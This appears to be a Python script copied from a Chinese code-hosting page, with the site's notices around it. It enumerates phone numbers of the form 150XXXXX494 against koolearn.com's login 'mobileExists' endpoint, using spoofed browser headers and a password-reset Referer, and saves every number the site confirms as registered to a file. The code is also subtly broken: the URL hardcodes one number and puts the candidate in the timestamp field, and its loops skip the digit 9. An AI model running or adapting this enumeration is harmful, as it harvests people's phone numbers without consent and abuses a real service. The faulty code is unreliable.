代码拉取完成,页面将自动刷新
#__*__encoding:utf-8
import requests
phoneNum = []
def phoneN():
for i in range(0,9):
for j in range(0,9):
for x in range(0,9):
for c in range(0,9):
for v in range(0,9):
pN = '150'+str(i)+str(j)+str(x)+str(c)+str(v)+"494"
searchPN(pN)
def searchPN(pN):
print("当前查询号码:%s" % pN)
# url='https://login.koolearn.com/sso/mobileExists.do?country=CN&countryCode=86&mobile=15044063494&_=1599908313846'
url ="https://login.koolearn.com/sso/mobileExists.do?country=CN&countryCode=86&mobile=15044063494&_="+pN
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0',
'Accept': '*/*',
'Referer': 'https://login.koolearn.com/sso/toBackPwd.do',
'X-Requested-With': 'XMLHttpRequest'
}
r = requests.get(url=url,headers=headers)
if(r.text =="true"):
phoneNum.append(pN)
savePn(pN)
print('手机号:%s 存在。' % pN)
def savePn(pN):
with open('phoneNum.txt','a') as f:
f.writelines(pN)
f.write('\n')
phoneN()
# searchPN()
print(phoneNum)
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。